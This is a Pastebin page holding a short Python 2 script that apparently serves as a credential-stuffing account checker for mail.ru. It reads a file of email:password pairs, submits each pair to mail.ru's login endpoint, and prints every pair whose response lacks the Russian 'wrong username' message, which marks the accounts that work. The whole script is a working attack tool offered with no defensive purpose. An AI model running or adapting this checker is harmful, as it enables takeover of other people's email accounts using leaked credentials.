Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # -*- coding: utf-8 -*-
- from urllib import urlopen
- from sys import argv
- fail = 'Неверное имя пользователя'
- f_pass = open(argv[1], 'r')
- data = f_pass.readlines()
- for MailAndPass in data:
- login = MailAndPass[:MailAndPass.find(':')]
- password = MailAndPass[MailAndPass.find(':')+1:]
- link = 'https://auth.mail.ru/cgi-bin/auth?Login=' + login + '&Domain=mail.ru&Password=' + password
- source = urlopen(link).read()
- if source.find(fail) == -1:
- print MailAndPass
- f_pass.close()
Advertisement
Add Comment
Please, Sign In to add comment